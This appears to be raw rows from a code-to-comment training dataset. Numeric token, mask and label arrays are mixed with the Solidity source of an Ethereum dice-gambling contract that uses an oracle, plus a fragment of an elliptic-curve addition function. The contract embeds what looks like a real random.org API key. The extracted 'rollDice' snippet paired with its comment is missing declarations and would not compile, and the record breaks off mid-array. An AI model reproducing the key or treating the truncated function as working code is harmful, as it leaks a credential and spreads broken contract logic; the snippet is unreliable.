0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
4019,
538,
305,
12,
2867,
8027,
16,
2254,
460,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
// Use the dAppBridge service to generate random numbers
// Powerful Data Oracle Service with easy to use methods, see: https://dAppBridge.com
//
interface dAppBridge_I {
function getOwner() external returns(address);
function getMinReward(string requestType) external returns(uint256);
function getMinGas() external returns(uint256);
// Only import the functions we use...
function callURL(string callback_method, string external_url, string external_params, string json_extract_element) external payable returns(bytes32);
}
contract DappBridgeLocator_I {
function currentLocation() public returns(address);
}
contract clientOfdAppBridge {
address internal _dAppBridgeLocator_Prod_addr = 0x5b63e582645227F1773bcFaE790Ea603dB948c6A;
DappBridgeLocator_I internal dAppBridgeLocator;
dAppBridge_I internal dAppBridge;
uint256 internal current_gas = 0;
uint256 internal user_callback_gas = 0;
function initBridge() internal {
//} != _dAppBridgeLocator_addr){
if(address(dAppBridgeLocator) != _dAppBridgeLocator_Prod_addr){
dAppBridgeLocator = DappBridgeLocator_I(_dAppBridgeLocator_Prod_addr);
}
if(address(dAppBridge) != dAppBridgeLocator.currentLocation()){
dAppBridge = dAppBridge_I(dAppBridgeLocator.currentLocation());
}
if(current_gas == 0) {
current_gas = dAppBridge.getMinGas();
}
}
modifier dAppBridgeClient {
initBridge();
_;
}
event event_senderAddress(
address senderAddress
);
event evnt_dAdppBridge_location(
address theLocation
);
event only_dAppBridgeCheck(
address senderAddress,
address checkAddress
);
modifier only_dAppBridge_ {
initBridge();
//emit event_senderAddress(msg.sender);
//emit evnt_dAdppBridge_location(address(dAppBridge));
emit only_dAppBridgeCheck(msg.sender, address(dAppBridge));
require(msg.sender == address(dAppBridge));
_;
}
// Ensures that only the dAppBridge system can call the function
modifier only_dAppBridge {
initBridge();
address _dAppBridgeOwner = dAppBridge.getOwner();
require(msg.sender == _dAppBridgeOwner);
_;
}
function setGas(uint256 new_gas) internal {
require(new_gas > 0);
current_gas = new_gas;
}
function setCallbackGas(uint256 new_callback_gas) internal {
require(new_callback_gas > 0);
user_callback_gas = new_callback_gas;
}
function callURL(string callback_method, string external_url, string external_params) internal dAppBridgeClient returns(bytes32) {
uint256 _reward = dAppBridge.getMinReward('callURL')+user_callback_gas;
return dAppBridge.callURL.value(_reward).gas(current_gas)(callback_method, external_url, external_params, "");
}
function callURL(string callback_method, string external_url, string external_params, string json_extract_elemen) internal dAppBridgeClient returns(bytes32) {
uint256 _reward = dAppBridge.getMinReward('callURL')+user_callback_gas;
return dAppBridge.callURL.value(_reward).gas(current_gas)(callback_method, external_url, external_params, json_extract_elemen);
}
// Helper internal functions
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function char(byte b) internal pure returns (byte c) {
if (b < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
function bytes32string(bytes32 b32) internal pure returns (string out) {
bytes memory s = new bytes(64);
for (uint8 i = 0; i < 32; i++) {
byte b = byte(b32[i]);
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[i*2] = char(hi);
s[i*2+1] = char(lo);
}
out = string(s);
}
function compareStrings (string a, string b) internal pure returns (bool){
return keccak256(a) == keccak256(b);
}
function concatStrings(string _a, string _b) internal pure returns (string){
bytes memory bytes_a = bytes(_a);
bytes memory bytes_b = bytes(_b);
string memory length_ab = new string(bytes_a.length + bytes_b.length);
bytes memory bytes_c = bytes(length_ab);
uint k = 0;
for (uint i = 0; i < bytes_a.length; i++) bytes_c[k++] = bytes_a[i];
for (i = 0; i < bytes_b.length; i++) bytes_c[k++] = bytes_b[i];
return string(bytes_c);
}
}
// SafeMath to protect overflows
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//
//
// Main DiceRoll.app contract
//
//
contract DiceRoll is clientOfdAppBridge {
using SafeMath for uint256;
string public randomAPI_url;
string internal randomAPI_key;
string internal randomAPI_extract;
struct playerDiceRoll {
bytes32 betID;
address playerAddr;
uint256 rollUnder;
uint256 stake;
uint256 profit;
uint256 win;
bool paid;
uint256 result;
uint256 timestamp;
}
mapping (bytes32 => playerDiceRoll) public playerRolls;
mapping (address => uint256) playerPendingWithdrawals;
address public owner;
uint256 public contractBalance;
bool public game_paused;
uint256 minRoll;
uint256 maxRoll;
uint256 minBet;
uint256 maxBet;
uint256 public minRollUnder;
uint256 public houseEdge; // 98 = 2%
uint256 public totalUserProfit;
uint256 public totalWins;
uint256 public totalLosses;
uint256 public totalWinAmount;
uint256 public totalLossAmount;
uint256 public totalFails;
uint256 internal totalProfit;
uint256 public maxMultiRolls;
uint256 public gameNumber;
uint256 public oracleFee;
mapping(uint256 => bool) public permittedRolls;
uint public maxPendingPayouts; // Max potential payments
function private_getGameState() public view returns(uint256 _contractBalance,
bool _game_paused,
uint256 _minRoll,
uint256 _maxRoll,
uint256 _minBet,
uint256 _maxBet,
uint256 _houseEdge,
uint256 _totalUserProfit,
uint256 _totalWins,
uint256 _totalLosses,
uint256 _totalWinAmount,
uint256 _totalLossAmount,
uint256 _liveMaxBet,
uint256 _totalFails) {
_contractBalance = contractBalance;
_game_paused = game_paused;
_minRoll = minRoll;
_maxRoll = maxRoll;
_minBet = minBet;
_maxBet = maxBet;
_houseEdge = houseEdge;
_totalUserProfit = totalUserProfit;
_totalWins = totalWins;
_totalLosses = totalLosses;
_totalWinAmount = totalWinAmount;
_totalLossAmount = totalLossAmount;
_liveMaxBet = getLiveMaxBet();
_totalFails = totalFails;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
modifier gameActive() {
require (game_paused == false);
_;
}
modifier validBet(uint256 betSize, uint256 rollUnder) {
require(rollUnder > minRoll);
require(rollUnder < maxRoll);
require(betSize <= maxBet);
require(betSize >= minBet);
require(permittedRolls[rollUnder] == true);
uint256 potential_profit = (msg.value * (houseEdge / rollUnder)) - msg.value;
require(maxPendingPayouts.add(potential_profit) <= address(this).balance);
_;
}
modifier validBetMulti(uint256 betSize, uint256 rollUnder, uint256 number_of_rolls) {
require(rollUnder > minRoll);
require(rollUnder < maxRoll);
require(betSize <= maxBet);
require(betSize >= minBet);
require(number_of_rolls <= maxMultiRolls);
require(permittedRolls[rollUnder] == true);
uint256 potential_profit = (msg.value * (houseEdge / rollUnder)) - msg.value;
require(maxPendingPayouts.add(potential_profit) <= address(this).balance);
_;
}
function getLiveMaxBet() public view returns(uint256) {
uint256 currentAvailBankRoll = address(this).balance.sub(maxPendingPayouts);
uint256 divisor = houseEdge.div(minRollUnder); // will be 4
uint256 liveMaxBet = currentAvailBankRoll.div(divisor); // 0.627852
if(liveMaxBet > maxBet)
liveMaxBet = maxBet;
return liveMaxBet;
}
function getBet(bytes32 _betID) public view returns(bytes32 betID,
address playerAddr,
uint256 rollUnder,
uint256 stake,
uint256 profit,
uint256 win,
bool paid,
uint256 result,
uint256 timestamp){
playerDiceRoll memory _playerDiceRoll = playerRolls[_betID];
betID = _betID;
playerAddr = _playerDiceRoll.playerAddr;
rollUnder = _playerDiceRoll.rollUnder;
stake = _playerDiceRoll.stake;
profit = _playerDiceRoll.profit;
win = _playerDiceRoll.win;
paid = _playerDiceRoll.paid;
result = _playerDiceRoll.result;
timestamp = _playerDiceRoll.timestamp;
}
function getOwner() external view returns(address){
return owner;
}
function getBalance() external view returns(uint256){
address myAddress = this;
return myAddress.balance;
}
constructor() public payable {
owner = msg.sender;
houseEdge = 96; // 4% commission to us on wins
contractBalance = msg.value;
totalUserProfit = 0;
totalWins = 0;
totalLosses = 0;
minRoll = 1;
maxRoll = 100;
minBet = 15000000000000000; //200000000000000;
maxBet = 300000000000000000; //200000000000000000;
randomAPI_url = "https://api.random.org/json-rpc/1/invoke";
randomAPI_key = "7d4ab655-e778-4d9f-815a-98fd518908bd";
randomAPI_extract = "result.random.data";
//permittedRolls[10] = true;
permittedRolls[20] = true;
permittedRolls[30] = true;
permittedRolls[40] = true;
permittedRolls[50] = true;
permittedRolls[60] = true;
//permittedRolls[70] = true;
minRollUnder = 20;
totalProfit = 0;
totalWinAmount = 0;
totalLossAmount = 0;
totalFails = 0;
maxMultiRolls = 5;
gameNumber = 0;
oracleFee = 80000000000000;
}
event DiceRollResult_failedSend(
bytes32 indexed betID,
address indexed playerAddress,
uint256 rollUnder,
uint256 result,
uint256 amountToSend
);
// totalUserProfit : Includes the original stake
// totalWinAmount : Is just the win amount (Does not include orig stake)
event DiceRollResult(
bytes32 indexed betID,
address indexed playerAddress,
uint256 rollUnder,
uint256 result,
uint256 stake,
uint256 profit,
uint256 win,
bool paid,
uint256 timestamp);
// This is called from dAppBridge.com with the random number with secure proof
function callback(bytes32 key, string callbackData) external payable only_dAppBridge {
require(playerRolls[key].playerAddr != address(0x0));
require(playerRolls[key].win == 2); // we've already process it if so!
playerRolls[key].result = parseInt(callbackData);
uint256 _totalWin = playerRolls[key].stake.add(playerRolls[key].profit); // total we send back to playerRolls
if(maxPendingPayouts < playerRolls[key].profit){
//force refund as game failed...
playerRolls[key].result == 0;
} else {
maxPendingPayouts = maxPendingPayouts.sub(playerRolls[key].profit); // take it out of the pending payouts now
}
if(playerRolls[key].result == 0){
totalFails = totalFails.add(1);
if(!playerRolls[key].playerAddr.send(playerRolls[key].stake)){
//playerRolls[key].paid = false;
emit DiceRollResult(key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result,
playerRolls[key].stake, 0, 0, false, now);
emit DiceRollResult_failedSend(
key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result, playerRolls[key].stake );
playerPendingWithdrawals[playerRolls[key].playerAddr] = playerPendingWithdrawals[playerRolls[key].playerAddr].add(playerRolls[key].stake);
delete playerRolls[key];
} else {
emit DiceRollResult(key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result,
playerRolls[key].stake, 0, 0, true, now);
delete playerRolls[key];
}
return;
} else {
if(playerRolls[key].result < playerRolls[key].rollUnder) {
contractBalance = contractBalance.sub(playerRolls[key].profit.add(oracleFee)); // how much we have won/lost
totalUserProfit = totalUserProfit.add(_totalWin); // game stats
totalWins = totalWins.add(1);
totalWinAmount = totalWinAmount.add(playerRolls[key].profit);
uint256 _player_profit_1percent = playerRolls[key].profit.div(houseEdge);
uint256 _our_cut = _player_profit_1percent.mul(100-houseEdge); // we get 4%
totalProfit = totalProfit.add(_our_cut); // Only add when its a win!
if(!playerRolls[key].playerAddr.send(_totalWin)){
// failed to send - need to retry so add to playerPendingWithdrawals
emit DiceRollResult(key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result,
playerRolls[key].stake, playerRolls[key].profit, 1, false, now);
emit DiceRollResult_failedSend(
key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result, _totalWin );
playerPendingWithdrawals[playerRolls[key].playerAddr] = playerPendingWithdrawals[playerRolls[key].playerAddr].add(_totalWin);
delete playerRolls[key];
} else {
emit DiceRollResult(key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result,
playerRolls[key].stake, playerRolls[key].profit, 1, true, now);
delete playerRolls[key];
}
return;
} else {
//playerRolls[key].win=0;
totalLosses = totalLosses.add(1);
totalLossAmount = totalLossAmount.add(playerRolls[key].stake);
contractBalance = contractBalance.add(playerRolls[key].stake.sub(oracleFee)); // how much we have won
emit DiceRollResult(key, playerRolls[key].playerAddr, playerRolls[key].rollUnder, playerRolls[key].result,
playerRolls[key].stake, playerRolls[key].profit, 0, true, now);
delete playerRolls[key];
return;
}
}
}
function rollDice(uint rollUnder) public payable gameActive validBet(msg.value, rollUnder) returns (bytes32) {
// This is the actual call to dAppBridge - using their callURL function to easily access an external API
// such as random.org
bytes32 betID = callURL("callback", randomAPI_url,
constructAPIParam(),
randomAPI_extract);
gameNumber = gameNumber.add(1);
uint256 _fullTotal = (msg.value * getBetDivisor(rollUnder) ); // 0.0002 * 250 = 0.0005
_fullTotal = _fullTotal.div(100);
_fullTotal = _fullTotal.sub(msg.value);
uint256 _fullTotal_1percent = _fullTotal.div(100); // e.g = 1
uint256 _player_profit = _fullTotal_1percent.mul(houseEdge); // player gets 96%
playerRolls[betID] = playerDiceRoll(betID, msg.sender, rollUnder, msg.value, _player_profit, 2, false, 0, now);
maxPendingPayouts = maxPendingPayouts.add(_player_profit); // don't add it to contractBalance yet until its a loss
emit DiceRollResult(betID, msg.sender, rollUnder, 0,
msg.value, _player_profit, 2, false, now);
return betID;
}
function rollDice(uint rollUnder, uint number_of_rolls) public payable gameActive validBetMulti(msg.value, rollUnder, number_of_rolls) returns (bytes32) {
uint c = 0;
for(c; c< number_of_rolls; c++) {
rollDice(rollUnder);
}
}
function getBetDivisor(uint256 rollUnder) public pure returns (uint256) {
if(rollUnder==5)
return 20 * 100;
if(rollUnder==10)
return 10 * 100;
if(rollUnder==20)
return 5 * 100;
if(rollUnder==30)
return 3.3 * 100;
if(rollUnder==40)
return 2.5 * 100;
if(rollUnder==50)
return 2 * 100;
if(rollUnder==60)
return 1.66 * 100;
if(rollUnder==70)
return 1.42 * 100;
if(rollUnder==80)
return 1.25 * 100;
if(rollUnder==90)
return 1.11 * 100;
return (100/rollUnder) * 10;
}
function constructAPIParam() internal view returns(string){
return strConcat(
strConcat("{\"jsonrpc\":\"2.0\",\"method\":\"generateIntegers\",\"params\":{\"apiKey\":\"",
randomAPI_key, "\",\"n\":1,\"min\":", uint2str(minRoll), ",\"max\":", uint2str(maxRoll), ",\"replacement\":true,\"base\":10},\"id\":"),
uint2str(gameNumber), "}"
); // Add in gameNumber to the params to avoid clashes
}
// need to process any playerPendingWithdrawals
// Allow a user to withdraw any pending amount (That may of failed previously)
function player_withdrawPendingTransactions() public
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
/* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */
/* player can try to withdraw again later */
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
// shows if a player has any pending withdrawels due (returns the amount)
function player_getPendingTxByAddress(address addressToCheck) public constant returns (uint256) {
return playerPendingWithdrawals[addressToCheck];
}
// need to auto calc max bet
// private functions
function private_addPermittedRoll(uint256 _rollUnder) public onlyOwner {
permittedRolls[_rollUnder] = true;
}
function private_delPermittedRoll(uint256 _rollUnder) public onlyOwner {
delete permittedRolls[_rollUnder];
}
function private_setRandomAPIURL(string newRandomAPI_url) public onlyOwner {
randomAPI_url = newRandomAPI_url;
}
function private_setRandomAPIKey(string newRandomAPI_key) public onlyOwner {
randomAPI_key = newRandomAPI_key;
}
function private_setRandomAPI_extract(string newRandomAPI_extract) public onlyOwner {
randomAPI_extract = newRandomAPI_extract;
}
function private_setminRoll(uint256 newMinRoll) public onlyOwner {
require(newMinRoll>0);
require(newMinRoll<maxRoll);
minRoll = newMinRoll;
}
function private_setmaxRoll(uint256 newMaxRoll) public onlyOwner {
require(newMaxRoll>0);
require(newMaxRoll>minRoll);
maxRoll = newMaxRoll;
}
function private_setminBet(uint256 newMinBet) public onlyOwner {
require(newMinBet > 0);
require(newMinBet < maxBet);
minBet = newMinBet;
}
function private_setmaxBet(uint256 newMaxBet) public onlyOwner {
require(newMaxBet > 0);
require(newMaxBet > minBet);
maxBet = newMaxBet;
}
function private_setPauseState(bool newState) public onlyOwner {
game_paused = newState;
}
function private_setHouseEdge(uint256 newHouseEdge) public onlyOwner {
houseEdge = newHouseEdge;
}
function private_kill() public onlyOwner {
selfdestruct(owner);
}
function private_withdrawAll(address send_to) external onlyOwner returns(bool) {
address myAddress = this;
return send_to.send(myAddress.balance);
}
function private_withdraw(uint256 amount, address send_to) external onlyOwner returns(bool) {
address myAddress = this;
require(amount <= myAddress.balance);
require(amount >0);
return send_to.send(amount);
}
// show how much profit has been made (houseEdge)
function private_profits() public view onlyOwner returns(uint256) {
return totalProfit;
}
function private_setMinRollUnder(uint256 _minRollUnder) public onlyOwner {
minRollUnder = _minRollUnder;
}
function private_setMaxMultiRolls(uint256 _maxMultiRolls) public onlyOwner {
maxMultiRolls = _maxMultiRolls;
}
function private_setOracleFee(uint256 _oracleFee) public onlyOwner {
oracleFee = _oracleFee;
}
function deposit() public payable onlyOwner {
contractBalance = contractBalance.add(msg.value);
}
// end private functions
// Internal functions
function parseInt(string _a) internal pure returns (uint256) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint256) {
bytes memory bresult = bytes(_a);
uint256 mint = 0;
bool decimals = false;
for (uint256 i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint256(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function strConcat(string _a, string _b, string _c, string _d, string _e, string _f, string _g) internal pure returns (string) {
string memory abcdef = strConcat(_a,_b,_c,_d,_e,_f);
return strConcat(abcdef, _g);
}
function strConcat(string _a, string _b, string _c, string _d, string _e, string _f) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
string memory abc = new string(_ba.length + _bb.length + _bc.length);
bytes memory babc = bytes(abc);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babc[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babc[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babc[k++] = _bc[i];
return strConcat(string(babc), strConcat(_d, _e, _f));
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
} | This is the actual call to dAppBridge - using their callURL function to easily access an external API such as random.org | function rollDice(uint rollUnder) public payable gameActive validBet(msg.value, rollUnder) returns (bytes32) {
bytes32 betID = callURL("callback", randomAPI_url,
constructAPIParam(),
randomAPI_extract);
gameNumber = gameNumber.add(1);
_fullTotal = _fullTotal.div(100);
_fullTotal = _fullTotal.sub(msg.value);
playerRolls[betID] = playerDiceRoll(betID, msg.sender, rollUnder, msg.value, _player_profit, 2, false, 0, now);
emit DiceRollResult(betID, msg.sender, rollUnder, 0,
msg.value, _player_profit, 2, false, now);
return betID;
}
| 13,073,152 | [
1,
2503,
353,
326,
3214,
745,
358,
302,
3371,
13691,
300,
1450,
3675,
745,
1785,
445,
358,
17997,
2006,
392,
3903,
1491,
4123,
487,
2744,
18,
3341,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
5824,
40,
1812,
12,
11890,
5824,
14655,
13,
1071,
8843,
429,
7920,
3896,
923,
38,
278,
12,
3576,
18,
1132,
16,
5824,
14655,
13,
1135,
261,
3890,
1578,
13,
288,
203,
203,
3639,
1731,
1578,
2701,
734,
273,
745,
1785,
2932,
3394,
3113,
2744,
2557,
67,
718,
16,
7010,
3639,
4872,
2557,
786,
9334,
7010,
3639,
2744,
2557,
67,
8004,
1769,
203,
203,
3639,
7920,
1854,
273,
7920,
1854,
18,
1289,
12,
21,
1769,
203,
203,
540,
203,
3639,
389,
2854,
5269,
273,
389,
2854,
5269,
18,
2892,
12,
6625,
1769,
203,
3639,
389,
2854,
5269,
273,
389,
2854,
5269,
18,
1717,
12,
3576,
18,
1132,
1769,
203,
540,
203,
540,
203,
540,
203,
540,
203,
3639,
7291,
4984,
3251,
63,
70,
278,
734,
65,
273,
7291,
40,
1812,
24194,
12,
70,
278,
734,
16,
1234,
18,
15330,
16,
5824,
14655,
16,
1234,
18,
1132,
16,
389,
14872,
67,
685,
7216,
16,
576,
16,
629,
16,
374,
16,
2037,
1769,
203,
203,
203,
3639,
3626,
463,
1812,
24194,
1253,
12,
70,
278,
734,
16,
1234,
18,
15330,
16,
5824,
14655,
16,
374,
16,
203,
5411,
1234,
18,
1132,
16,
389,
14872,
67,
685,
7216,
16,
576,
16,
629,
16,
2037,
1769,
203,
2398,
203,
3639,
327,
2701,
734,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x81783531126E4dC47aA3403786c3552bCDcc8919/sources/tests/one.sol | @return r the sum of two points of G2 | function addition(G2Point memory p1, G2Point memory p2) internal view returns (G2Point memory r) {
(r.X[0], r.X[1], r.Y[0], r.Y[1]) = BN256G2.ECTwistAdd(p1.X[0],p1.X[1],p1.Y[0],p1.Y[1],p2.X[0],p2.X[1],p2.Y[0],p2.Y[1]);
}
| 828,017 | [
1,
2463,
436,
326,
2142,
434,
2795,
3143,
434,
611,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2719,
12,
43,
22,
2148,
3778,
293,
21,
16,
611,
22,
2148,
3778,
293,
22,
13,
2713,
1476,
1135,
261,
43,
22,
2148,
3778,
436,
13,
288,
203,
3639,
261,
86,
18,
60,
63,
20,
6487,
436,
18,
60,
63,
21,
6487,
436,
18,
61,
63,
20,
6487,
436,
18,
61,
63,
21,
5717,
273,
605,
50,
5034,
43,
22,
18,
4239,
91,
376,
986,
12,
84,
21,
18,
60,
63,
20,
6487,
84,
21,
18,
60,
63,
